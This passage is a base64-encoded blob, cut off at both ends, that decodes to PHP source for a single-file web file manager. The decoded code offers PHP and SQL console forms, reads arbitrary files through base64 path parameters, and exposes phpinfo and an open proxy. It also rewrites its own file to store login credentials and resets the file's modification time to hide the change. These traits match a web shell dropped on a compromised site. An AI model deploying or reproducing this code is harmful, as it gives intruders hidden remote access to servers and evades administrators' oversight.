IHRoaXMgZmlsZT8nKSAuICdcJykpIGRvY3VtZW50LmxvY2F0aW9uLmhyZWYgPSBcJz9kZWxldGU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAgLiAnXCciJzsKICAgIHJldHVybiAkZmlsZS4nOiAnLmZtX2xpbmsoJ2Rvd25sb2FkJywkcGF0aC4kZmlsZSxfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuJGZpbGUpLicgPGEgaHJlZj0iIyIgdGl0bGU9IicgLiBfXygnRGVsZXRlJykgLiAnICcuICRmaWxlIC4gJyIgJyAuICRhbGVydCAuICc+JyAuIF9fKCdEZWxldGUnKSAuICc8L2E+JzsKfQoKZnVuY3Rpb24gZm1fcmVzdG9yZV90YWJsZXMoJHNxbEZpbGVUb0V4ZWN1dGUpIHsKCSRteXNxbGRiID0gZm1fc3FsX2Nvbm5lY3QoKTsKCSRkZWxpbWl0ZXIgPSAiOyBcbiAgXG4iOwogICAgLy8gTG9hZCBhbmQgZXhwbG9kZSB0aGUgc3FsIGZpbGUKICAgICRmID0gZm9wZW4oJHNxbEZpbGVUb0V4ZWN1dGUsInIrIik7CiAgICAkc3FsRmlsZSA9IGZyZWFkKCRmLGZpbGVzaXplKCRzcWxGaWxlVG9FeGVjdXRlKSk7CiAgICAkc3FsQXJyYXkgPSBleHBsb2RlKCRkZWxpbWl0ZXIsJHNxbEZpbGUpOwoJCiAgICAvL1Byb2Nlc3MgdGhlIHNxbCBmaWxlIGJ5IHN0YXRlbWVudHMKICAgIGZvcmVhY2ggKCRzcWxBcnJheSBhcyAkc3RtdCkgewogICAgICAgIGlmIChzdHJsZW4oJHN0bXQpPjMpewoJCQkkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCRzdG10KTsKCQkJCWlmICghJHJlc3VsdCl7CgkJCQkJJHNxbEVycm9yQ29kZSA9IG15c3FsaV9lcnJubygkbXlzcWxkYi0+Y29ubmVjdGlvbik7CgkJCQkJJHNxbEVycm9yVGV4dCA9IG15c3FsaV9lcnJvcigkbXlzcWxkYi0+Y29ubmVjdGlvbik7CgkJCQkJJHNxbFN0bXQgICAgICA9ICRzdG10OwoJCQkJCWJyZWFrOwogICAgICAgICAgIAkgICAgIH0KICAgICAgICAgICAJICB9CiAgICAgICAgICAgfQppZiAoZW1wdHkoJHNxbEVycm9yQ29kZSkpIHJldHVybiBfXygnU3VjY2VzcycpLicg4oCUICcuJHNxbEZpbGVUb0V4ZWN1dGU7CmVsc2UgcmV0dXJuICRzcWxFcnJvclRleHQuJzxici8+Jy4kc3RtdDsKfQoKZnVuY3Rpb24gZm1faW1nX2xpbmsoJGZpbGVuYW1lKXsKCXJldHVybiAnLi8nLmJhc2VuYW1lKF9fRklMRV9fKS4nP2ltZz0nLmJhc2U2NF9lbmNvZGUoJGZpbGVuYW1lKTsKfQoKZnVuY3Rpb24gZm1faG9tZV9zdHlsZSgpewoJcmV0dXJuICcKaW5wdXQsIGlucHV0LmZtX2lucHV0IHsKCXRleHQtaW5kZW50OiAycHg7Cn0KCmlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0LCBpbnB1dC5mbV9pbnB1dCB7Cgljb2xvcjogYmxhY2s7Cglmb250OiBub3JtYWwgOHB0IFZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7Cglib3JkZXItY29sb3I6IGJsYWNrOwoJYmFja2dyb3VuZC1jb2xvcjogI0ZDRkNGQyBub25lICFpbXBvcnRhbnQ7Cglib3JkZXItcmFkaXVzOiAwOwoJcGFkZGluZzogMnB4Owp9CgppbnB1dC5mbV9pbnB1dCB7CgliYWNrZ3JvdW5kOiAjRkNGQ0ZDIG5vbmUgIWltcG9ydGFudDsKCWN1cnNvcjogcG9pbnRlcjsKfQoKLmhvbWUgewoJYmFja2dyb3VuZC1pbWFnZTogdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQU1BQUFBb0xROVRBQUFBQkdkQlRVRUFBSy9JTndXSzZRQUFBZ1JRVEZSRi9mMzk2T2pvLy8vL3RUMDJ6citmdzY2UnRqNDMyVEVwM01YRTJEQXIzVFlwMXk0bXREdzIvN0JNLzdCT3FWcGMvOGwzMWpjcXE2ZW53Y0hCMlRnaTVqZ3FWcGJGdnJhMm5CQVYvUHo4MlMwam54MFczVFVrcVNnaTRlSGg0VHNyZTR3b3N6MDI2dVBqekdZZDZVczN5bkF5ZFVCQTVLbDNmbTVlcVphVzdPRGdpMlZnK1BqNHVZK0V3TG01Ylk5VS8vN2pmTHRDK3RPSzNqY20vNzF1MmpZbzFVWWg1YUpsL3NlQzNqRW0xMmttSnJJQTFqTW0vOWFVNExoMGUwMUJsSWFFLy8vZGhNZEM3SUEvL2ZUWjJjM01XNm5OMzB3Zjk1VmQ0SmRYb1hWb3M4bkU0ZWZOLys2M0lKZ1NuWWhsN0Y0Y3NYdDg5R1FVd0wrL2psMWM0MUFxK2ZiMmdtdEkxckthMkM0a0phSUEzallybFR3NXRqNDIzalluM2NYRTF6UW94TUhCcDFsWjNEZ21xaWtzLyttY2pMSzgzallreW1NVjNUWWsvL0hNK3U3V2htdHIwb2RUcGFPamZXSmZySHBnLzhCcy83dFcvN1ZlKzRVNTJETW0zTUxCbjRxTGdOVk02TXpCM2xFZmxJdUwvK2pBLy8vMjBMT3pqWHg4LzdsYldwSkcyQzhrM1Rvc0pLTUExeXdqb3BPUjF6WXA1RHNwaWF5K3lLTmhxS1NrOE5XNi9mam5zN096MnRuWnV6ODg3YitXM2FSWS8rbXM0ckNFM1RvdDdWODViS3hqdUVBM3c0NVZoNXVocTZhbTRjRnhnWlpXLzlxSXV3Z0t5MHNXK3VqVDRUUW50ejQyM0M4aTN6VWovK0t3L2E1ZDZVTXh1TDZ3ekRFci8vLy9jcUpRZkFBQUFLeDBVazVULy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vQUFXVkZiRUFBQUFaZEVWWWRGTnZablIzWVhKbEFFRmtiMkpsSUVsdFlXZGxVbVZoWkhseHlXVThBQUFBMlVsRVFWUW9VMk5ZalFZWXNBaUU4VTlZekRZalZwR1pSeE1pRUNpdE1yVlp2b01yVGxRMkVTUlFKMkZWd2luWWJtcVRVTG9vaG5FMWcxYUtHUy9mTk10azQweVo5S1ZMUWhnWWt1WTdOeFF2WHlIVkZObkt6UjY5cXB4QlBNZXowRVRBUXlUVXZTb2dhSUZhUGNOcVYvTTVkaGEyUmwyVGltYjZaK1FCRFkxWE4vU2J1OHhGTEczZUxEZmwyVUFCamlsTzFvMDEyWjNlazFsWlZJV0FBbVVUSzZMMHMzcFgramo2cHVaMkF3V1V2QlJhcGhzd01kVXVqQ2l3RHdhNVZFZFBJN3luVWxjN3YxcVlVUkxxdWY0Mmh6NDVDQlBEdHdBQ3JtK1JEY3hKWUFBQUFBQkpSVTVFcmtKZ2dnPT0iKTsKCWJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7Cn0nOwp9CgpmdW5jdGlvbiBmbV9jb25maWdfY2hlY2tib3hfcm93KCRuYW1lLCR2YWx1ZSkgewoJZ2xvYmFsICRmbV9jb25maWc7CglyZXR1cm4gJzx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBpZD0iZm1fY29uZmlnXycuJHZhbHVlLiciIG5hbWU9ImZtX2NvbmZpZ1snLiR2YWx1ZS4nXSIgdmFsdWU9IjEiICcuKGVtcHR5KCRmbV9jb25maWdbJHZhbHVlXSk/Jyc6J2NoZWNrZWQ9InRydWUiJykuJyB0eXBlPSJjaGVja2JveCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPjxsYWJlbCBmb3I9ImZtX2NvbmZpZ18nLiR2YWx1ZS4nIj4nLiRuYW1lLic8L3RkPjwvdHI+JzsKfQoKZnVuY3Rpb24gZm1fcHJvdG9jb2woKSB7CglpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfU0NIRU1FJ10pKSByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfU0NIRU1FJ10uJzovLyc7CglpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICRfU0VSVkVSWydIVFRQUyddID09ICdvbicpIHJldHVybiAnaHR0cHM6Ly8nOwoJaWYgKGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfUE9SVCddKSAmJiAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA9PSA0NDMpIHJldHVybiAnaHR0cHM6Ly8nOwoJaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10pICYmICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10gPT0gJ2h0dHBzJykgcmV0dXJuICdodHRwczovLyc7CglyZXR1cm4gJ2h0dHA6Ly8nOwp9CgpmdW5jdGlvbiBmbV9zaXRlX3VybCgpIHsKCXJldHVybiBmbV9wcm90b2NvbCgpLiRfU0VSVkVSWydIVFRQX0hPU1QnXTsKfQoKZnVuY3Rpb24gZm1fdXJsKCRmdWxsPWZhbHNlKSB7CgkkaG9zdD0kZnVsbD9mbV9zaXRlX3VybCgpOicuJzsKCXJldHVybiAkaG9zdC4nLycuYmFzZW5hbWUoX19GSUxFX18pOwp9CgpmdW5jdGlvbiBmbV9ob21lKCRmdWxsPWZhbHNlKXsKCXJldHVybiAnJm5ic3A7PGEgaHJlZj0iJy5mbV91cmwoJGZ1bGwpLiciIHRpdGxlPSInLl9fKCdIb21lJykuJyI+PHNwYW4gY2xhc3M9ImhvbWUiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvc3Bhbj48L2E+JzsKfQoKZnVuY3Rpb24gZm1fcnVuX2lucHV0KCRsbmcpIHsKCWdsb2JhbCAkZm1fY29uZmlnOwoJJHJldHVybiA9ICFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfJy4kbG5nLidfY29uc29sZSddKSA/IAoJJwoJCQkJPGZvcm0gIG1ldGhvZD0icG9zdCIgYWN0aW9uPSInLmZtX3VybCgpLiciIHN0eWxlPSJkaXNwbGF5OmlubGluZSI+CgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSInLiRsbmcuJ3J1biIgdmFsdWU9Iicuc3RydG91cHBlcigkbG5nKS4nICcuX18oJ0NvbnNvbGUnKS4nIj4KCQkJCTwvZm9ybT4KJyA6ICcnOwoJcmV0dXJuICRyZXR1cm47Cn0KCmZ1bmN0aW9uIGZtX3VybF9wcm94eSgkbWF0Y2hlcykgewoJJGxpbmsgPSBzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJywkbWF0Y2hlc1syXSk7CgkkdXJsID0gaXNzZXQoJF9HRVRbJ3VybCddKT8kX0dFVFsndXJsJ106Jyc7CgkkcGFyc2VfdXJsID0gcGFyc2VfdXJsKCR1cmwpOwoJJGhvc3QgPSAkcGFyc2VfdXJsWydzY2hlbWUnXS4nOi8vJy4kcGFyc2VfdXJsWydob3N0J10uJy8nOwoJaWYgKHN1YnN0cigkbGluaywwLDIpPT0nLy8nKSB7CgkJJGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluayxmbV9wcm90b2NvbCgpLDAsMik7Cgl9IGVsc2VpZiAoc3Vic3RyKCRsaW5rLDAsMSk9PScvJykgewoJCSRsaW5rID0gc3Vic3RyX3JlcGxhY2UoJGxpbmssJGhvc3QsMCwxKTsJCgl9IGVsc2VpZiAoc3Vic3RyKCRsaW5rLDAsMik9PScuLycpIHsKCQkkbGluayA9IHN1YnN0cl9yZXBsYWNlKCRsaW5rLCRob3N0LDAsMik7CQoJfSBlbHNlaWYgKHN1YnN0cigkbGluaywwLDQpPT0naHR0cCcpIHsKCQkvL2FsbGVzIG1hY2hlbiB3dW5kZXJzY2hvbgoJfSBlbHNlIHsKCQkkbGluayA9ICRob3N0LiRsaW5rOwoJfSAKCWlmICgkbWF0Y2hlc1sxXT09J2hyZWYnICYmICFzdHJyaXBvcygkbGluaywgJ2NzcycpKSB7CgkJJGJhc2UgPSBmbV9zaXRlX3VybCgpLicvJy5iYXNlbmFtZShfX0ZJTEVfXyk7CgkJJGJhc2VxID0gJGJhc2UuJz9wcm94eT10cnVlJnVybD0nOwoJCSRsaW5rID0gJGJhc2VxLnVybGVuY29kZSgkbGluayk7Cgl9IGVsc2VpZiAoc3Rycmlwb3MoJGxpbmssICdjc3MnKSl7CgkJLy/QutCw0Lot0YLQviDRgtC+0LbQtSDQv9C+0LTQvNC10L3Rj9GC0Ywg0L3QsNC00L4KCX0KCXJldHVybiAkbWF0Y2hlc1sxXS4nPSInLiRsaW5rLiciJzsKfQogCmZ1bmN0aW9uIGZtX3RwbF9mb3JtKCRsbmdfdHBsKSB7CglnbG9iYWwgJHskbG5nX3RwbC4nX3RlbXBsYXRlcyd9OwoJJHRwbF9hcnIgPSBqc29uX2RlY29kZSgkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ30sdHJ1ZSk7Cgkkc3RyID0gJyc7Cglmb3JlYWNoICgkdHBsX2FyciBhcyAka3RwbD0+JHZ0cGwpIHsKCQkkc3RyIC49ICc8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iJy4kbG5nX3RwbC4nX25hbWVbXSIgdmFsdWU9IicuJGt0cGwuJyI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPjx0ZXh0YXJlYSBuYW1lPSInLiRsbmdfdHBsLidfdmFsdWVbXSIgIGNvbHM9IjU1IiByb3dzPSI1IiBjbGFzcz0idGV4dGFyZWFfaW5wdXQiPicuJHZ0cGwuJzwvdGV4dGFyZWE+IDxpbnB1dCBuYW1lPSJkZWxfJy5yYW5kKCkuJyIgdHlwZT0iYnV0dG9uIiBvbkNsaWNrPSJ0aGlzLnBhcmVudE5vZGUucGFyZW50Tm9kZS5yZW1vdmUoKTsiIHZhbHVlPSInLl9fKCdEZWxldGUnKS4nIi8+PC90ZD48L3RyPic7Cgl9CnJldHVybiAnCjx0YWJsZT4KPHRyPjx0aCBjb2xzcGFuPSIyIj4nLnN0cnRvdXBwZXIoJGxuZ190cGwpLicgJy5fXygndGVtcGxhdGVzJykuJyAnLmZtX3J1bl9pbnB1dCgkbG5nX3RwbCkuJzwvdGg+PC90cj4KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIHZhbHVlPSInLiRsbmdfdHBsLiciIG5hbWU9InRwbF9lZGl0ZWQiPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj4nLl9fKCdOYW1lJykuJzwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdWYWx1ZScpLic8L3RkPjwvdHI+CicuJHN0ci4nCjx0cj48dGQgY29sc3Bhbj0iMiIgY2xhc3M9InJvdzMiPjxpbnB1dCBuYW1lPSJyZXMiIHR5cGU9ImJ1dHRvbiIgb25DbGljaz0iZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWVcJzsiIHZhbHVlPSInLl9fKCdSZXNldCcpLiciLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ1NhdmUnKS4nIiA+PC90ZD48L3RyPgo8L2Zvcm0+Cjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iJy4kbG5nX3RwbC4nIiBuYW1lPSJ0cGxfZWRpdGVkIj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9IicuJGxuZ190cGwuJ19uZXdfbmFtZSIgdmFsdWU9IiIgcGxhY2Vob2xkZXI9IicuX18oJ05ldycpLicgJy5fXygnTmFtZScpLiciPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj48dGV4dGFyZWEgbmFtZT0iJy4kbG5nX3RwbC4nX25ld192YWx1ZSIgIGNvbHM9IjU1IiByb3dzPSI1IiBjbGFzcz0idGV4dGFyZWFfaW5wdXQiIHBsYWNlaG9sZGVyPSInLl9fKCdOZXcnKS4nICcuX18oJ1ZhbHVlJykuJyI+PC90ZXh0YXJlYT48L3RkPjwvdHI+Cjx0cj48dGQgY29sc3Bhbj0iMiIgY2xhc3M9InJvdzMiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdBZGQnKS4nIiA+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+Cic7Cn0KCi8qIEVuZCBGdW5jdGlvbnMgKi8KCi8vIGF1dGhvcml6YXRpb24KaWYgKCRhdXRoWydhdXRob3JpemUnXSkgewoJaWYgKGlzc2V0KCRfUE9TVFsnbG9naW4nXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzd29yZCddKSl7CgkJaWYgKCgkX1BPU1RbJ2xvZ2luJ109PSRhdXRoWydsb2dpbiddKSAmJiAoJF9QT1NUWydwYXNzd29yZCddPT0kYXV0aFsncGFzc3dvcmQnXSkpIHsKCQkJc2V0Y29va2llKCRhdXRoWydjb29raWVfbmFtZSddLCAkYXV0aFsnbG9naW4nXS4nfCcubWQ1KCRhdXRoWydwYXNzd29yZCddKSwgdGltZSgpICsgKDg2NDAwICogJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7CgkJCSRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXT0kYXV0aFsnbG9naW4nXS4nfCcubWQ1KCRhdXRoWydwYXNzd29yZCddKTsKCQl9Cgl9CglpZiAoIWlzc2V0KCRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXSkgT1IgKCRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXSE9JGF1dGhbJ2xvZ2luJ10uJ3wnLm1kNSgkYXV0aFsncGFzc3dvcmQnXSkpKSB7CgkJZWNobyAnCjwhZG9jdHlwZSBodG1sPgo8aHRtbD4KPGhlYWQ+CjxtZXRhIGNoYXJzZXQ9InV0Zi04IiAvPgo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiIC8+Cjx0aXRsZT4nLl9fKCdGaWxlIG1hbmFnZXInKS4nPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CicuX18oJ0xvZ2luJykuJyA8aW5wdXQgbmFtZT0ibG9naW4iIHR5cGU9InRleHQiPiZuYnNwOyZuYnNwOyZuYnNwOwonLl9fKCdQYXNzd29yZCcpLicgPGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNzd29yZCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdFbnRlcicpLiciIGNsYXNzPSJmbV9pbnB1dCI+CjwvZm9ybT4KJy5mbV9sYW5nX2Zvcm0oJGxhbmd1YWdlKS4nCjwvYm9keT4KPC9odG1sPgonOyAgCmRpZSgpOwoJfQoJaWYgKGlzc2V0KCRfUE9TVFsncXVpdCddKSkgewoJCXVuc2V0KCRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXSk7CgkJc2V0Y29va2llKCRhdXRoWydjb29raWVfbmFtZSddLCAnJywgdGltZSgpIC0gKDg2NDAwICogJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7CgkJaGVhZGVyKCdMb2NhdGlvbjogJy5mbV9zaXRlX3VybCgpLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsKCX0KfQoKLy8gQ2hhbmdlIGNvbmZpZwppZiAoaXNzZXQoJF9HRVRbJ2ZtX3NldHRpbmdzJ10pKSB7CglpZiAoaXNzZXQoJF9HRVRbJ2ZtX2NvbmZpZ19kZWxldGUnXSkpIHsgCgkJdW5zZXQoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKTsKCQlzZXRjb29raWUoJ2ZtX2NvbmZpZycsICcnLCB0aW1lKCkgLSAoODY0MDAgKiAkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsKCQloZWFkZXIoJ0xvY2F0aW9uOiAnLmZtX3VybCgpLic/Zm1fc2V0dGluZ3M9dHJ1ZScpOwoJCWV4aXQoMCk7Cgl9CWVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV9jb25maWcnXSkpIHsgCgkJJGZtX2NvbmZpZyA9ICRfUE9TVFsnZm1fY29uZmlnJ107CgkJc2V0Y29va2llKCdmbV9jb25maWcnLCBzZXJpYWxpemUoJGZtX2NvbmZpZyksIHRpbWUoKSArICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOwoJCSRfQ09PS0lFWydmbV9jb25maWcnXSA9IHNlcmlhbGl6ZSgkZm1fY29uZmlnKTsKCQkkbXNnID0gX18oJ1NldHRpbmdzJykuJyAnLl9fKCdkb25lJyk7Cgl9CWVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV9sb2dpbiddKSkgeyAKCQlpZiAoZW1wdHkoJF9QT1NUWydmbV9sb2dpbiddWydhdXRob3JpemUnXSkpICRfUE9TVFsnZm1fbG9naW4nXSA9IGFycmF5KCdhdXRob3JpemUnID0+ICcwJykgKyAkX1BPU1RbJ2ZtX2xvZ2luJ107CgkJJGZtX2xvZ2luID0ganNvbl9lbmNvZGUoJF9QT1NUWydmbV9sb2dpbiddKTsKCQkkZmdjID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOwoJCSRzZWFyY2ggPSBwcmVnX21hdGNoKCcjYXV0aG9yaXphdGlvbltcc10/XD1bXHNdP1wnXHtcIiguKj8pXCJcfVwnOyMnLCAkZmdjLCAkbWF0Y2hlcyk7CgkJaWYgKCFlbXB0eSgkbWF0Y2hlc1sxXSkpIHsKCQkJJGZpbGVtdGltZSA9IGZpbGVtdGltZShfX0ZJTEVfXyk7CgkJCSRyZXBsYWNlID0gc3RyX3JlcGxhY2UoJ3siJy4kbWF0Y2hlc1sxXS4nIn0nLCRmbV9sb2dpbiwkZmdjKTsKCQkJaWYgKGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkcmVwbGFjZSkpIHsKCQkJCSRtc2cgLj0gX18oJ0ZpbGUgdXBkYXRlZCcpOwoJCQkJaWYgKCRfUE9TVFsnZm1fbG9naW4nXVsnbG9naW4nXSAhPSAkYXV0aFsnbG9naW4nXSkgJG1zZyAuPSAnICcuX18oJ0xvZ2luJykuJzogJy4kX1BPU1RbJ2ZtX2xvZ2luJ11bJ2xvZ2luJ107CgkJCQlpZiAoJF9QT1NUWydmbV9sb2dpbiddWydwYXNzd29yZCddICE9ICRhdXRoWydwYXNzd29yZCddKSAkbXNnIC49ICcgJy5fXygnUGFzc3dvcmQnKS4nOiAnLiRfUE9TVFsnZm1fbG9naW4nXVsncGFzc3dvcmQnXTsKCQkJCSRhdXRoID0gJF9QT1NUWydmbV9sb2dpbiddOwoJCQl9CgkJCWVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsKCQkJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpOwoJCX0KCX0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ3RwbF9lZGl0ZWQnXSkpIHsgCgkJJGxuZ190cGwgPSAkX1BPU1RbJ3RwbF9lZGl0ZWQnXTsKCQlpZiAoIWVtcHR5KCRfUE9TVFskbG5nX3RwbC4nX25hbWUnXSkpIHsKCQkJJGZtX3BocCA9IGpzb25fZW5jb2RlKGFycmF5X2NvbWJpbmUoJF9QT1NUWyRsbmdfdHBsLidfbmFtZSddLCRfUE9TVFskbG5nX3RwbC4nX3ZhbHVlJ10pLEpTT05fSEVYX0FQT1MpOwoJCX0gZWxzZWlmICghZW1wdHkoJF9QT1NUWyRsbmdfdHBsLidfbmV3X25hbWUnXSkpIHsKCQkJJGZtX3BocCA9IGpzb25fZW5jb2RlKGpzb25fZGVjb2RlKCR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfSx0cnVlKSthcnJheSgkX1BPU1RbJGxuZ190cGwuJ19uZXdfbmFtZSddPT4kX1BPU1RbJGxuZ190cGwuJ19uZXdfdmFsdWUnXSksSlNPTl9IRVhfQVBPUyk7CgkJfQoJCWlmICghZW1wdHkoJGZtX3BocCkpIHsKCQkJJGZnYyA9IGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTsKCQkJJHNlYXJjaCA9IHByZWdfbWF0Y2goJyMnLiRsbmdfdHBsLidfdGVtcGxhdGVzW1xzXT9cPVtcc10/XCdce1wiKC4qPylcIlx9XCc7IycsICRmZ2MsICRtYXRjaGVzKTsKCQkJaWYgKCFlbXB0eSgkbWF0Y2hlc1sxXSkpIHsKCQkJCSRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoX19GSUxFX18pOwoJCQkJJHJlcGxhY2UgPSBzdHJfcmVwbGFjZSgneyInLiRtYXRjaGVzWzFdLicifScsJGZtX3BocCwkZmdjKTsKCQkJCWlmIChmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJHJlcGxhY2UpKSB7CgkJCQkJJHskbG5nX3RwbC4nX3RlbXBsYXRlcyd9ID0gJGZtX3BocDsKCQkJCQkkbXNnIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTsKCQkJCX0gZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOwoJCQkJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpOwoJCQl9CQoJCX0gZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOwoJfQp9CgovLyBKdXN0IHNob3cgaW1hZ2UKaWYgKGlzc2V0KCRfR0VUWydpbWcnXSkpIHsKCSRmaWxlPWJhc2U2NF9kZWNvZGUoJF9HRVRbJ2ltZyddKTsKCWlmICgkaW5mbz1nZXRpbWFnZXNpemUoJGZpbGUpKXsKCQlzd2l0Y2ggICgkaW5mb1syXSl7CS8vMT1HSUYsIDI9SlBHLCAzPVBORywgND1TV0YsIDU9UFNELCA2PUJNUAoJCQljYXNlIDE6ICRleHQ9J2dpZic7IGJyZWFrOwoJCQljYXNlIDI6ICRleHQ9J2pwZWcnOyBicmVhazsKCQkJY2FzZSAzOiAkZXh0PSdwbmcnOyBicmVhazsKCQkJY2FzZSA2OiAkZXh0PSdibXAnOyBicmVhazsKCQkJZGVmYXVsdDogZGllKCk7CgkJfQoJCWhlYWRlcigiQ29udGVudC10eXBlOiBpbWFnZS8kZXh0Iik7CgkJZWNobyBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7CgkJZGllKCk7Cgl9Cn0KCi8vIEp1c3QgZG93bmxvYWQgZmlsZQppZiAoaXNzZXQoJF9HRVRbJ2Rvd25sb2FkJ10pKSB7CgkkZmlsZT1iYXNlNjRfZGVjb2RlKCRfR0VUWydkb3dubG9hZCddKTsKCWZtX2Rvd25sb2FkKCRmaWxlKTsJCn0KCi8vIEp1c3Qgc2hvdyBpbmZvCmlmIChpc3NldCgkX0dFVFsncGhwaW5mbyddKSkgewoJcGhwaW5mbygpOyAKCWRpZSgpOwp9CgovLyBNaW5pIHByb3h5LCBtYW55IGJ1Z3MhCmlmIChpc3NldCgkX0dFVFsncHJveHknXSkgJiYgKCFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfcHJveHknXSkpKSB7CgkkdXJsID0gaXNzZXQoJF9HRVRbJ3VybCddKT91cmxkZWNvZGUoJF9HRVRbJ3VybCddKTonJzsKCSRwcm94eV9mb3JtID0gJwo8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4OjEwMDUwMDtiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZTRmNWZjIDAlLCNiZmU4ZjkgNTAlLCM5ZmQ4ZWYgNTElLCMyYWIwZWQgMTAwJSk7Ij4KCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IkdFVCI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwcm94eSIgdmFsdWU9InRydWUiPgoJJy5mbV9ob21lKCkuJyA8YSBocmVmPSInLiR1cmwuJyIgdGFyZ2V0PSJfYmxhbmsiPlVybDwvYT46IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1cmwiIHZhbHVlPSInLiR1cmwuJyIgc2l6ZT0iNTUiPgoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ1Nob3cnKS4nIiBjbGFzcz0iZm1faW5wdXQiPgoJPC